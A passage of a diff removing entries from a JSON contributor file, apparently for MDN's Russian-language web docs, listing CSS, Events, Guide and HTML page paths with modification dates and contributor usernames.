- "Web/CSS/resolved_value": {
- "modified": "2019-03-23T22:31:05.724Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/revert": {
- "modified": "2020-10-15T22:16:41.898Z",
- "contributors": [
- "baradusov"
- ]
- },
- "Web/CSS/right": {
- "modified": "2020-10-15T22:20:51.768Z",
- "contributors": [
- "niktariy"
- ]
- },
- "Web/CSS/ruby-align": {
- "modified": "2019-03-23T22:47:24.114Z",
- "contributors": [
- "sequen7e"
- ]
- },
- "Web/CSS/scroll-behavior": {
- "modified": "2020-10-15T21:51:32.409Z",
- "contributors": [
- "YozhEzhi",
- "lollyroll"
- ]
- },
- "Web/CSS/scroll-snap-type": {
- "modified": "2020-10-15T22:30:16.562Z",
- "contributors": [
- "HImichun"
- ]
- },
- "Web/CSS/tab-size": {
- "modified": "2020-10-15T22:18:59.542Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/text-align": {
- "modified": "2019-03-23T23:09:41.610Z",
- "contributors": [
- "wbamberg",
- "Guillaume-Heras",
- "BychekRU",
- "Sebastianz",
- "frost-nzcr4",
- "Sheppy",
- "ldone"
- ]
- },
- "Web/CSS/text-align-last": {
- "modified": "2019-03-23T22:52:15.477Z",
- "contributors": [
- "Sebastianz",
- "frost-nzcr4"
- ]
- },
- "Web/CSS/text-decoration-skip": {
- "modified": "2019-03-23T22:23:04.981Z",
- "contributors": [
- "toptalo",
- "VladimirSchneider"
- ]
- },
- "Web/CSS/text-indent": {
- "modified": "2019-08-07T07:32:32.327Z",
- "contributors": [
- "lerkot",
- "ChristinaKrapivina"
- ]
- },
- "Web/CSS/text-justify": {
- "modified": "2020-10-15T22:19:12.460Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/text-shadow": {
- "modified": "2020-10-15T22:22:55.590Z",
- "contributors": [
- "sokolovserega1982",
- "alexa.poruch",
- "exarces"
- ]
- },
- "Web/CSS/text-size-adjust": {
- "modified": "2020-09-22T12:34:08.932Z",
- "contributors": [
- "at940266",
- "self.mismatch",
- "rychagov",
- "asaulyak",
- "designofhumanity",
- "andreww2012"
- ]
- },
- "Web/CSS/time": {
- "modified": "2020-10-15T22:18:30.372Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/top": {
- "modified": "2020-01-29T08:01:10.754Z",
- "contributors": [
- "Skadelig",
- "niktariy",
- "J-N-Z"
- ]
- },
- "Web/CSS/touch-action": {
- "modified": "2020-08-29T12:19:44.661Z",
- "contributors": [
- "Vasya-Chajko",
- "SergeyZubkov"
- ]
- },
- "Web/CSS/transform": {
- "modified": "2020-10-15T22:18:54.959Z",
- "contributors": [
- "almaceleste",
- "bombinmybag",
- "opereverzeva"
- ]
- },
- "Web/CSS/transform-function": {
- "modified": "2019-03-23T22:07:23.491Z",
- "contributors": [
- "mfluehr"
- ]
- },
- "Web/CSS/transform-function/rotate()": {
- "modified": "2020-11-19T16:06:20.905Z",
- "contributors": [
- "chrisdavidmills",
- "almaceleste",
- "bad4iz"
- ]
- },
- "Web/CSS/transform-function/rotate3d()": {
- "modified": "2020-11-19T16:07:43.767Z",
- "contributors": [
- "chrisdavidmills",
- "gorbatova"
- ]
- },
- "Web/CSS/transform-function/scale3d()": {
- "modified": "2020-11-30T10:19:29.644Z",
- "contributors": [
- "chrisdavidmills",
- "bad4iz"
- ]
- },
- "Web/CSS/transform-function/skew()": {
- "modified": "2020-11-30T10:26:05.313Z",
- "contributors": [
- "chrisdavidmills",
- "Detrimon",
- "brachkoff"
- ]
- },
- "Web/CSS/transform-style": {
- "modified": "2019-03-23T22:48:49.153Z",
- "contributors": [
- "fscholz",
- "Sebastianz",
- "Evgeny81"
- ]
- },
- "Web/CSS/transition": {
- "modified": "2020-10-15T21:49:45.568Z",
- "contributors": [
- "Zulcom",
- "almaceleste",
- "delfin211",
- "AlexN"
- ]
- },
- "Web/CSS/transition-duration": {
- "modified": "2020-10-15T22:23:07.292Z",
- "contributors": [
- "delfin211"
- ]
- },
- "Web/CSS/url": {
- "modified": "2020-10-15T22:16:56.689Z",
- "contributors": [
- "opereverzeva",
- "AliaksandrZahorski"
- ]
- },
- "Web/CSS/url()": {
- "modified": "2020-10-15T22:33:29.454Z",
- "contributors": [
- "toylievallanur1"
- ]
- },
- "Web/CSS/used_value": {
- "modified": "2019-11-29T01:24:06.046Z",
- "contributors": [
- "wKich",
- "Tuman"
- ]
- },
- "Web/CSS/user-select": {
- "modified": "2020-10-15T22:22:28.429Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/CSS/vertical-align": {
- "modified": "2020-10-15T21:32:39.661Z",
- "contributors": [
- "KTatyana",
- "Sebastianz",
- "tyv",
- "s1lver",
- "ZoRDoK"
- ]
- },
- "Web/CSS/visibility": {
- "modified": "2020-10-15T21:52:17.194Z",
- "contributors": [
- "SphinxKnight",
- "ekirpichyov",
- "smartknyaz",
- "alexdeg"
- ]
- },
- "Web/CSS/white-space": {
- "modified": "2020-10-15T21:54:03.036Z",
- "contributors": [
- "batyrmastyr",
- "nakhodkiin",
- "while0pass",
- "coshturnina"
- ]
- },
- "Web/CSS/widows": {
- "modified": "2019-03-23T23:04:09.212Z",
- "contributors": [
- "Sebastianz",
- "frost-nzcr4",
- "eb-gh-cr"
- ]
- },
- "Web/CSS/width": {
- "modified": "2020-10-15T22:14:48.558Z",
- "contributors": [
- "Kikubaaqudgha"
- ]
- },
- "Web/CSS/will-change": {
- "modified": "2020-10-15T21:34:32.174Z",
- "contributors": [
- "YozhEzhi",
- "ilovebeatles",
- "AlexKalinin",
- "nickfree",
- "AVorona",
- "Petr_Chalov",
- "MaxxOut",
- "Sebastianz",
- "hgen",
- "ddtch"
- ]
- },
- "Web/CSS/word-break": {
- "modified": "2020-10-15T22:16:47.649Z",
- "contributors": [
- "sergey.bannikov"
- ]
- },
- "Web/CSS/word-spacing": {
- "modified": "2020-10-15T22:19:16.617Z",
- "contributors": [
- "zhitkovkostya",
- "opereverzeva"
- ]
- },
- "Web/CSS/writing-mode": {
- "modified": "2019-08-07T10:36:11.169Z",
- "contributors": [
- "jynweythek",
- "bengrey",
- "Cttr",
- "some_vlad",
- "Sebastianz",
- "nakhodkiin"
- ]
- },
- "Web/CSS/z-index": {
- "modified": "2020-11-19T03:01:01.279Z",
- "contributors": [
- "SphinxKnight",
- "akezhan56301",
- "Mrakobees",
- "torbasow",
- "yaruson"
- ]
- },
- "Web/CSS/Действительное_значение": {
- "modified": "2019-03-23T22:31:07.849Z",
- "contributors": [
- "warsan",
- "BychekRU"
- ]
- },
- "Web/CSS/Замещаемый_элемент": {
- "modified": "2019-03-23T22:31:00.260Z",
- "contributors": [
- "SelenIT",
- "dima74",
- "BychekRU"
- ]
- },
- "Web/CSS/Псевдо-классы": {
- "modified": "2019-03-23T22:51:08.664Z",
- "contributors": [
- "IgorPuchkov2003",
- "dima74",
- "BychekRU",
- "olko28"
- ]
- },
- "Web/CSS/Синтаксис": {
- "modified": "2019-07-26T04:52:30.660Z",
- "contributors": [
- "munaticu",
- "teoli",
- "Norville"
- ]
- },
- "Web/CSS/Способ_расположения": {
- "modified": "2019-03-23T23:09:42.012Z",
- "contributors": [
- "idoru",
- "BychekRU",
- "ldone"
- ]
- },
- "Web/CSS/Тихий": {
- "modified": "2019-03-23T22:32:40.563Z",
- "contributors": [
- "BychekRU",
- "Evgeny166"
- ]
- },
- "Web/CSS/Указанное_значение": {
- "modified": "2019-03-23T22:30:59.718Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/CSS/размер": {
- "modified": "2020-10-15T21:48:09.200Z",
- "contributors": [
- "HImichun",
- "sashakrauzer",
- "VICIOne",
- "favetisov",
- "ialexi-bl",
- "Fgeniy",
- "Zamkevich",
- "VladdOs"
- ]
- },
- "Web/Events": {
- "modified": "2020-11-17T03:43:19.041Z",
- "contributors": [
- "kosarev_va",
- "RuslanPro01",
- "ismailaga123",
- "injashkin",
- "Corba",
- "snowydad",
- "arthurg91",
- "wbamberg",
- "LbIdarka",
- "Dzhabarovm",
- "Kerminator1973",
- "kRaVeda",
- "teoli"
- ]
- },
- "Web/Events/DOMContentLoaded": {
- "modified": "2019-04-30T14:28:01.901Z",
- "contributors": [
- "wbamberg",
- "cashm0ney",
- "fscholz",
- "vittorio-tortugo",
- "e-h-h"
- ]
- },
- "Web/Events/abort": {
- "modified": "2019-04-30T14:17:57.211Z",
- "contributors": [
- "wbamberg",
- "Corba",
- "fscholz",
- "e-omo"
- ]
- },
- "Web/Events/blur": {
- "modified": "2019-03-23T22:19:52.585Z",
- "contributors": [
- "fscholz",
- "Pirate505",
- "Asyst"
- ]
- },
- "Web/Events/error": {
- "modified": "2019-03-18T20:55:03.206Z",
- "contributors": [
- "Corba",
- "iGureEV"
- ]
- },
- "Web/Events/focusin": {
- "modified": "2019-03-23T22:30:36.967Z",
- "contributors": [
- "fscholz",
- "f0rmat1k"
- ]
- },
- "Web/Events/focusout": {
- "modified": "2019-03-18T21:19:40.612Z",
- "contributors": [
- "merelj"
- ]
- },
- "Web/Events/load": {
- "modified": "2019-03-23T22:22:49.108Z",
- "contributors": [
- "fscholz",
- "e-h-h"
- ]
- },
- "Web/Events/loadstart": {
- "modified": "2019-03-23T22:29:55.674Z",
- "contributors": [
- "fscholz",
- "forestbird"
- ]
- },
- "Web/Events/readystatechange": {
- "modified": "2019-03-18T21:42:00.103Z",
- "contributors": [
- "SlavaJan"
- ]
- },
- "Web/Events/transitionend": {
- "modified": "2019-03-23T23:13:05.887Z",
- "contributors": [
- "fscholz",
- "airspin",
- "akhabibullina"
- ]
- },
- "Web/Events/unhandledrejection": {
- "modified": "2019-04-30T13:51:15.952Z",
- "contributors": [
- "wbamberg",
- "colmer"
- ]
- },
- "Web/Guide": {
- "modified": "2020-09-02T11:11:23.452Z",
- "contributors": [
- "bogpok",
- "Didar83",
- "soctim",
- "jwhitlock",
- "netpatriciapussy",
- "Tihoem",
- "galinakulinich@mail.ru",
- "Sheppy"
- ]
- },
- "Web/Guide/AJAX": {
- "modified": "2020-03-06T17:23:15.361Z",
- "contributors": [
- "bulatDev",
- "korjjik87",
- "chrisdavidmills",
- "Sky_Fox",
- "Megapotz",
- "Kavkazsk",
- "Summit677",
- "Kwinto",
- "Dionys",
- "Woodroof",
- "Zhuravlik"
- ]
- },
- "Web/Guide/AJAX/С_чего_начать": {
- "modified": "2019-03-24T00:01:49.926Z",
- "contributors": [
- "DanilaH",
- "chrisdavidmills",
- "Megapotz",
- "Apparition",
- "Square",
- "Kwinto"
- ]
- },
- "Web/Guide/AJAX/С_чего_начать?": {
- "modified": "2019-01-16T16:10:29.921Z",
- "contributors": [
- "chrisdavidmills",
- "Sheppy",
- "Nikol"
- ]
- },
- "Web/Guide/API": {
- "modified": "2019-09-11T09:35:03.457Z",
- "contributors": [
- "SphinxKnight",
- "BychekRU",
- "Sheppy"
- ]
- },
- "Web/Guide/API/DOM": {
- "modified": "2019-09-02T16:41:36.691Z",
- "contributors": [
- "NiroWoolf",
- "Jeremie"
- ]
- },
- "Web/Guide/API/DOM/Storage": {
- "modified": "2019-03-23T23:13:28.239Z",
- "contributors": [
- "Steln",
- "akhabibullina"
- ]
- },
- "Web/Guide/API/WebRTC": {
- "modified": "2019-03-23T22:34:55.398Z",
- "contributors": [
- "MoksS",
- "franzy1709"
- ]
- },
- "Web/Guide/Audio_and_video_delivery": {
- "modified": "2019-05-24T08:49:25.038Z",
- "contributors": [
- "IlyaKireev",
- "chrisdavidmills"
- ]
- },
- "Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video": {
- "modified": "2019-03-18T20:51:42.020Z",
- "contributors": [
- "chrisdavidmills",
- "egorovsa",
- "faafaafuu"
- ]
- },
- "Web/Guide/Audio_and_video_delivery/buffering_seeking_time_ranges": {
- "modified": "2019-03-18T20:51:42.284Z",
- "contributors": [
- "chrisdavidmills",
- "makcc666",
- "BaNru",
- "wcoder"
- ]
- },
- "Web/Guide/Audio_and_video_manipulation": {
- "modified": "2020-08-20T10:18:57.056Z",
- "contributors": [
- "bogpok"
- ]
- },
- "Web/Guide/CSS": {
- "modified": "2019-09-11T09:43:50.277Z",
- "contributors": [
- "SphinxKnight",
- "Aleksej",
- "vtambourine",
- "KrishnaKevalam",
- "jswisher"
- ]
- },
- "Web/Guide/CSS/Block_formatting_context": {
- "modified": "2019-10-04T09:05:37.001Z",
- "contributors": [
- "Radragon",
- "RomanBush",
- "NancyT33333",
- "SelenIT",
- "brolnickij",
- "I-O",
- "ViT09",
- "akhabibullina"
- ]
- },
- "Web/Guide/CSS/Getting_started": {
- "modified": "2019-03-23T23:09:39.395Z",
- "contributors": [
- "BychekRU",
- "Aleksej",
- "frontgirl",
- "wjinca"
- ]
- },
- "Web/Guide/CSS/Getting_started/Cascading_and_inheritance": {
- "modified": "2019-03-23T22:51:54.874Z",
- "contributors": [
- "Tankerxyz",
- "BychekRU",
- "F-302",
- "sofiaglynyana"
- ]
- },
- "Web/Guide/CSS/Getting_started/Color": {
- "modified": "2019-03-23T22:31:38.617Z",
- "contributors": [
- "TuchaNK"
- ]
- },
- "Web/Guide/CSS/Getting_started/How_CSS_works": {
- "modified": "2019-03-18T21:17:13.180Z",
- "contributors": [
- "BychekRU",
- "F-302"
- ]
- },
- "Web/Guide/CSS/Getting_started/Readable_CSS": {
- "modified": "2019-03-23T22:49:44.377Z",
- "contributors": [
- "Svart",
- "F-302",
- "Crystal"
- ]
- },
- "Web/Guide/CSS/Getting_started/SVG_и_CSS": {
- "modified": "2019-10-07T10:29:32.536Z",
- "contributors": [
- "Matcenko",
- "AndrewPinkerton",
- "maximmonev",
- "DadUndead"
- ]
- },
- "Web/Guide/CSS/Getting_started/Selectors": {
- "modified": "2020-02-28T21:44:59.981Z",
- "contributors": [
- "nkaskov",
- "SergeyNikolaev70",
- "1cprog",
- "Tankerxyz",
- "BigBond",
- "mztrp",
- "tnt4brain"
- ]
- },
- "Web/Guide/CSS/Getting_started/Text_styles": {
- "modified": "2019-03-23T22:31:35.056Z",
- "contributors": [
- "DKas",
- "TuchaNK"
- ]
- },
- "Web/Guide/CSS/Getting_started/What_is_CSS": {
- "modified": "2019-10-10T16:46:49.900Z",
- "contributors": [
- "gleb-svitelskiy",
- "BychekRU",
- "Aleksej",
- "frontgirl"
- ]
- },
- "Web/Guide/CSS/Getting_started/Why_use_CSS": {
- "modified": "2019-03-23T22:33:27.543Z",
- "contributors": [
- "BychekRU",
- "F-302"
- ]
- },
- "Web/Guide/CSS/Getting_started/Таблицы": {
- "modified": "2019-03-23T23:09:44.945Z",
- "contributors": [
- "BychekRU",
- "ldone"
- ]
- },
- "Web/Guide/CSS/Understanding_z_index": {
- "modified": "2020-04-16T00:54:23.175Z",
- "contributors": [
- "pelyp47",
- "Derept",
- "zdravnick",
- "DartWelder",
- "elenatafeenko",
- "Jeremie"
- ]
- },
- "Web/Guide/CSS/Understanding_z_index/Adding_z-index": {
- "modified": "2020-04-16T01:16:28.675Z",
- "contributors": [
- "pelyp47"
- ]
- },
- "Web/Guide/CSS/Understanding_z_index/Stacking_without_z-index": {
- "modified": "2020-04-16T01:00:44.047Z",
- "contributors": [
- "pelyp47",
- "batareechka",
- "SphinxKnight"
- ]
- },
- "Web/Guide/CSS/Using_multi-column_layouts": {
- "modified": "2019-07-22T11:08:23.191Z",
- "contributors": [
- "a-bodrova",
- "sandmanisdancing",
- "fscholz",
- "ldone"
- ]
- },
- "Web/Guide/CSS/Visual_formatting_model": {
- "modified": "2019-09-20T10:50:10.502Z",
- "contributors": [
- "RomanBush",
- "SphinxKnight",
- "FlightBlaze",
- "Chugou9",
- "ZapevalovAnton",
- "fmva",
- "levi2ki",
- "kapvik",
- "hhharm",
- "ViT09"
- ]
- },
- "Web/Guide/Events": {
- "modified": "2020-08-20T10:40:53.452Z",
- "contributors": [
- "bogpok",
- "Llorephie",
- "Tihoem",
- "Jeremie"
- ]
- },
- "Web/Guide/Events/Event_handlers": {
- "modified": "2020-03-26T12:45:30.049Z",
- "contributors": [
- "ellizii"
- ]
- },
- "Web/Guide/Events/Media_events": {
- "modified": "2019-04-16T19:26:35.650Z",
- "contributors": [
- "vamo089",
- "TaizoGem",
- "undgrnd",
- "nechehin"
- ]
- },
- "Web/Guide/Events/Overview_of_Events_and_Handlers": {
- "modified": "2019-06-24T11:18:00.027Z",
- "contributors": [
- "kvandreev",
- "MuradAz",
- "curdwithraisins"
- ]
- },
- "Web/Guide/Events/Создание_и_вызов_событий": {
- "modified": "2020-10-15T21:31:20.093Z",
- "contributors": [
- "YozhEzhi",
- "leann-fraoigh",
- "Solant",
- "bagau",
- "pk.prog",
- "lazyexpert",
- "YuryT"
- ]
- },
- "Web/Guide/HTML/Content_categories": {
- "modified": "2019-09-23T08:37:02.214Z",
- "contributors": [
- "niktariy",
- "Sotik",
- "KTatyana",
- "Isk1n",
- "Angelskih",
- "Quaiby",
- "chernysh2909",
- "alexbaumgertner",
- "Aleksej",
- "Lambrusco.pro"
- ]
- },
- "Web/Guide/HTML/Drag_and_drop": {
- "modified": "2019-06-20T03:46:49.198Z",
- "contributors": [
- "kkxley",
- "Akh-rman",
- "artalar",
- "miramax-88",
- "Morjodrom",
- "fess16",
- "MStark"
- ]
- },
- "Web/Guide/HTML/Drag_and_drop/Drag_operations": {
- "modified": "2020-02-05T06:07:31.464Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/Guide/HTML/Editable_content": {
- "modified": "2019-03-18T21:32:40.829Z",
- "contributors": [
- "warsan"
- ]
- },
- "Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document": {
- "modified": "2020-10-09T08:16:53.318Z",
- "contributors": [
- "matiasrustagte",
- "arka_triymfalnaya",
- "outdever",
- "Wingear",
- "evgor80",
- "lerniri"
- ]
- },
- "Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages": {
- "modified": "2020-07-16T22:22:33.594Z",
- "contributors": [
- "SoMuchEffort",
- "optimistic"
- ]
- },
- "Web/Guide/HTML/Using_data_attributes": {
- "modified": "2020-07-16T22:22:37.165Z",
- "contributors": [
- "AliaksandrZahorski",
- "dima74",
- "bad4iz",
- "ultrinnan",
- "SphinxKnight",
- "lerniri",
- "ArtiFisher",
- "xoyk",
- "BaNru"
- ]
- },
- "Web/Guide/HTML/Формы_в_HTML": {
- "modified": "2019-03-23T22:35:16.060Z",
- "contributors": [
- "Morjodrom",
- "AgRuN1",
- "ruslan_g02"
- ]
- },
- "Web/Guide/Localizations_and_character_encodings": {
- "modified": "2020-08-20T10:59:35.053Z",
- "contributors": [
- "bogpok"
- ]
- },
- "Web/Guide/Parsing_and_serializing_XML": {
- "modified": "2020-10-11T12:29:17.772Z",
- "contributors": [
- "Akhat",
- "bogpok"
- ]
- },
- "Web/Guide/Unicode_Bidrectional_Text_Algorithm": {
- "modified": "2020-09-02T08:30:27.156Z",
- "contributors": [
- "bogpok"
- ]
- },
- "Web/Guide/User_input_methods": {
- "modified": "2020-09-02T11:05:36.300Z",
- "contributors": [
- "bogpok"
- ]
- },
- "Web/Guide/WOFF": {
- "modified": "2020-10-15T22:33:54.379Z",
- "contributors": [
- "bogpok"
- ]
- },
- "Web/Guide/mobile": {
- "modified": "2020-02-07T13:05:09.003Z",
- "contributors": [
- "McBurns",
- "VDyrda"
- ]
- },
- "Web/Guide/Графика": {
- "modified": "2019-03-23T23:24:59.485Z",
- "contributors": [
- "theykillimmortal",
- "McBurns",
- "DinarGataullin",
- "emil4",
- "Bonerdelli",
- "uleming",
- "nedimaon"
- ]
- },
- "Web/Guide/Производительность": {
- "modified": "2020-08-20T11:16:04.965Z",
- "contributors": [
- "bogpok"
- ]
- },
- "Web/HTML": {
- "modified": "2020-05-09T08:33:52.357Z",
- "contributors": [
- "SphinxKnight",
- "arslan6226262",
- "kss555",
- "JCodeg",
- "Dozorengel",
- "aleshkanet",
- "slavikse",
- "alikkille",
- "NurievMikhail",
- "alisakova",
- "Filofei",
- "MaksimKonoz",
- "warsan",
- "SnejUgal",
- "L18-666B",
- "BychekRU",
- "Aleksej",
- "stephaniehobson",
- "sputnik1986",
- "sega84",
- "Sashka.makarov.86",
- "uleming",
- "Newser",
- "teoli",
- "hakster",
- "Norville",
- "Defolter",
- "irmatov",
- "Elrow"
- ]
- },
- "Web/HTML/Applying_color": {
- "modified": "2019-03-18T21:45:50.255Z",
- "contributors": [
- "ChristinaKrapivina",
- "warsan",
- "kasperyan"
- ]
- },
- "Web/HTML/Attributes": {
- "modified": "2019-10-29T09:41:46.376Z",
- "contributors": [
- "pikeraft",
- "chrisdavidmills",
- "SedovDP",
- "Aleksej",
- "ldone"
- ]
- },
- "Web/HTML/Block-level_elements": {
- "modified": "2019-03-23T23:03:37.270Z",
- "contributors": [
- "idoru",
- "SelenIT",
- "Filofei",
- "Selenia_6",
- "SnejUgal",
- "Anton.Yurovskykh",
- "bracket",
- "alexander-lis",
- "Mishman",
- "artcygn"
- ]
- },
- "Web/HTML/CORS_enabled_image": {
- "modified": "2020-05-24T11:41:53.618Z",
- "contributors": [
- "sve-kai-itmo"
- ]
- },
- "Web/HTML/CORS_settings_attributes": {
- "modified": "2019-03-23T22:26:17.707Z",
- "contributors": [
- "HA3IK",
- "metserp"
- ]
- },
- "Web/HTML/Element": {
- "modified": "2019-03-24T00:04:23.071Z",
- "contributors": [
- "AlimU11",
- "BychekRU",
- "Tihoem",
- "Aleksej",
- "teoli",
- "Norville",
- "irmatov",
- "ethertank",
- "Softwayer"
- ]
- },
- "Web/HTML/Element/A": {
- "modified": "2020-10-15T21:14:56.082Z",
- "contributors": [
- "brussens",
- "nikolai-shabalin",
- "JCodeg",
- "SphinxKnight",
- "tonyfresher",
- "CuriousLynx",
- "alexander_kuranoff",
- "SnejUgal",
- "Kolotushkin",
- "teoli",
- "pepyaka",
- "Softwayer"
- ]
- },
- "Web/HTML/Element/Heading_Elements": {
- "modified": "2020-10-15T22:03:00.576Z",
- "contributors": [
- "ryabv",
- "chrisdavidmills",
- "chamaraviktoriia4",
- "kayablue"
- ]
- },
- "Web/HTML/Element/Input": {
- "modified": "2020-10-15T21:28:48.484Z",
- "contributors": [
- "surface74",
- "torbasow",
- "SedovDP",
- "YozhEzhi",
- "CS313",
- "Stasonuke",
- "solncebro",
- "mennekis",
- "S-le",
- "pgpa",
- "Lambrusco.pro"
- ]
- },
- "Web/HTML/Element/Input/button": {
- "modified": "2020-10-15T22:29:54.816Z",
- "contributors": [
- "Thr0TT1e"
- ]
- },
- "Web/HTML/Element/Input/color": {
- "modified": "2020-12-03T08:52:52.055Z",
- "contributors": [
- "rebsys",
- "podocenov"
- ]
- },
- "Web/HTML/Element/Input/date": {
- "modified": "2020-12-03T06:52:26.983Z",
- "contributors": [
- "AeShevch",
- "Virss",
- "Detrimon",
- "lelikdub",
- "ishpartko"
- ]
- },
- "Web/HTML/Element/Input/datetime": {
- "modified": "2019-07-06T19:59:07.845Z",
- "contributors": [
- "fuggy",
- "Brom95",
- "bad4iz"
- ]
- },
- "Web/HTML/Element/Input/datetime-local": {
- "modified": "2019-03-18T21:42:35.150Z",
- "contributors": [
- "yanaSelin",
- "inquartatech",
- "bad4iz"
- ]
- },
- "Web/HTML/Element/Input/file": {
- "modified": "2020-01-28T03:20:25.992Z",
- "contributors": [
- "AlexeiBelov",
- "danvop",
- "oxmap",
- "nernerstudios",
- "ahtohbi4"
- ]
- },
- "Web/HTML/Element/Input/image": {
- "modified": "2019-03-23T22:16:14.461Z",
- "contributors": [
- "Skadelig"
- ]
- },
- "Web/HTML/Element/Input/number": {
- "modified": "2020-10-15T22:14:38.174Z",
- "contributors": [
- "Virss",
- "S-konoplich",
- "lalexx",
- "viktoryiakuzmitskaya"
- ]
- },
- "Web/HTML/Element/Input/password": {
- "modified": "2019-03-23T22:04:39.681Z",
- "contributors": [
- "Goodzonchik"
- ]
- },
- "Web/HTML/Element/Input/radio": {
- "modified": "2020-09-22T11:17:49.407Z",
- "contributors": [
- "bekmuradov",
- "Nina_Amatova"
- ]
- },
- "Web/HTML/Element/Input/range": {
- "modified": "2020-12-01T07:31:01.378Z",
- "contributors": [
- "k1rilenko",
- "h-labushkina",
- "opereverzeva"
- ]
- },
- "Web/HTML/Element/Input/search": {
- "modified": "2020-10-15T22:27:41.233Z",
- "contributors": [
- "Nichon4"
- ]
- },
- "Web/HTML/Element/Input/tel": {
- "modified": "2020-10-15T22:14:58.253Z",
- "contributors": [
- "SixtyNice"
- ]
- },
- "Web/HTML/Element/abbr": {
- "modified": "2020-10-15T21:27:33.577Z",
- "contributors": [
- "ekirpichyov",
- "niktariy",
- "talgautb",
- "Aleksej",
- "fscholz",
- "teoli",
- "Norville"
- ]
- },
- "Web/HTML/Element/acronym": {
- "modified": "2019-03-23T23:16:57.617Z",
- "contributors": [
- "iliyaZelenko",
- "teoli",
- "Norville"
- ]
- },
- "Web/HTML/Element/address": {
- "modified": "2020-12-06T19:27:01.913Z",
- "contributors": [
- "RoPy73",
- "pufflik",
- "StepPointer",
- "maibatsu",
- "kuki",
- "talgautb",
- "icokie"
- ]
- },
- "Web/HTML/Element/applet": {
- "modified": "2019-03-23T22:06:37.540Z",
- "contributors": [
- "mars485"
- ]
- },
- "Web/HTML/Element/area": {
- "modified": "2020-10-15T22:07:14.955Z",
- "contributors": [
- "SedovDP",
- "A-Ostrovny",
- "AnatoliyVolkov"
- ]
- },
- "Web/HTML/Element/article": {
- "modified": "2020-10-15T21:38:30.961Z",
- "contributors": [
- "niktariy",
- "JCodeg",
- "muzimka",
- "kuzhelov"
- ]
- },
- "Web/HTML/Element/aside": {
- "modified": "2020-10-15T21:56:35.733Z",
- "contributors": [
- "niktariy",
- "JCodeg",
- "Lapagirl"
- ]
- },
- "Web/HTML/Element/audio": {
- "modified": "2020-10-15T21:52:55.481Z",
- "contributors": [
- "JCodeg",
- "pavel9609",
- "torbasow",
- "Neiromaster"
- ]
- },
- "Web/HTML/Element/b": {
- "modified": "2020-11-24T12:28:30.289Z",
- "contributors": [
- "PivovarovD",
- "zuenko.michail",
- "lostmor",
- "vocasle"
- ]
- },
- "Web/HTML/Element/base": {
- "modified": "2020-10-09T09:32:50.637Z",
- "contributors": [
- "self.mismatch",
- "iandr",
- "kaifonaft",
- "Angelskih",
- "coollibins"
- ]
- },
- "Web/HTML/Element/basefont": {
- "modified": "2020-10-15T22:03:44.661Z",
- "contributors": [
- "maxim20121776"
- ]
- },
- "Web/HTML/Element/bdi": {
- "modified": "2019-03-23T22:43:01.895Z",
- "contributors": [
- "while0pass",
- "doojin"
- ]
- },
- "Web/HTML/Element/bdo": {
- "modified": "2020-10-15T22:20:19.239Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/HTML/Element/blockquote": {
- "modified": "2019-09-23T08:46:34.079Z",
- "contributors": [
- "niktariy",
- "ahtohbi4"
- ]
- },
- "Web/HTML/Element/body": {
- "modified": "2020-10-15T21:52:58.521Z",
- "contributors": [
- "JCodeg",
- "hammurapiya"
- ]
- },
- "Web/HTML/Element/br": {
- "modified": "2020-10-15T21:29:43.024Z",
- "contributors": [
- "ekirpichyov",
- "MoonW1nd",
- "che7ovek",
- "tr0ythex",
- "my8bit"
- ]
- },
- "Web/HTML/Element/canvas": {
- "modified": "2020-11-18T16:03:33.449Z",
- "contributors": [
- "Terro216",
- "cosmosblue",
- "MuradAz"
- ]
- },
- "Web/HTML/Element/caption": {
- "modified": "2020-10-15T22:01:43.563Z",
- "contributors": [
- "Yialo",
- "opereverzeva",
- "AliaksandrZahorski"
- ]
- },
- "Web/HTML/Element/cite": {
- "modified": "2019-11-05T07:59:05.470Z",
- "contributors": [
- "zuenko.michail",
- "ahtohbi4",
- "s1lver"
- ]
- },
- "Web/HTML/Element/code": {
- "modified": "2020-10-15T22:33:43.235Z",
- "contributors": [
- "DarkExodusXX"
- ]
- },
- "Web/HTML/Element/col": {
- "modified": "2020-10-15T21:59:15.926Z",
- "contributors": [
- "torbasow",
- "Mikhail42"
- ]
- },
- "Web/HTML/Element/data": {
- "modified": "2020-10-15T22:21:25.531Z",
- "contributors": [
- "fuggy"
- ]
- },
- "Web/HTML/Element/datalist": {
- "modified": "2020-10-15T22:03:20.376Z",
- "contributors": [
- "fuggy",
- "fanich37"
- ]
- },
- "Web/HTML/Element/dd": {
- "modified": "2020-10-15T22:20:58.297Z",
- "contributors": [
- "fuggy"
- ]
- },
- "Web/HTML/Element/del": {
- "modified": "2020-10-15T22:17:49.658Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/HTML/Element/details": {
- "modified": "2019-05-24T07:24:14.817Z",
- "contributors": [
- "sh13max",
- "Lapagirl"
- ]
- },
- "Web/HTML/Element/dfn": {
- "modified": "2020-10-15T22:18:36.293Z",
- "contributors": [
- "Nasridean"
- ]
- },
- "Web/HTML/Element/dialog": {
- "modified": "2020-09-17T04:28:42.324Z",
- "contributors": [
- "mm669765",
- "CanaryKnight"
- ]
- },
- "Web/HTML/Element/div": {
- "modified": "2020-10-15T22:00:05.108Z",
- "contributors": [
- "JCodeg",
- "Everloop",
- "kayablue",
- "vocasle"
- ]
- },
- "Web/HTML/Element/dl": {
- "modified": "2020-10-15T21:47:48.475Z",
- "contributors": [
- "LoafWithCream",
- "fuggy",
- "Grawl",
- "ahtohbi4"
- ]
- },
- "Web/HTML/Element/dt": {
- "modified": "2020-10-15T22:17:47.772Z",
- "contributors": [
- "fuggy",
- "nastarash"
- ]
- },
- "Web/HTML/Element/element": {
- "modified": "2019-03-23T22:16:19.667Z",
- "contributors": [
- "SphinxKnight"
- ]
- },
- "Web/HTML/Element/em": {
- "modified": "2020-10-15T22:19:54.841Z",
- "contributors": [
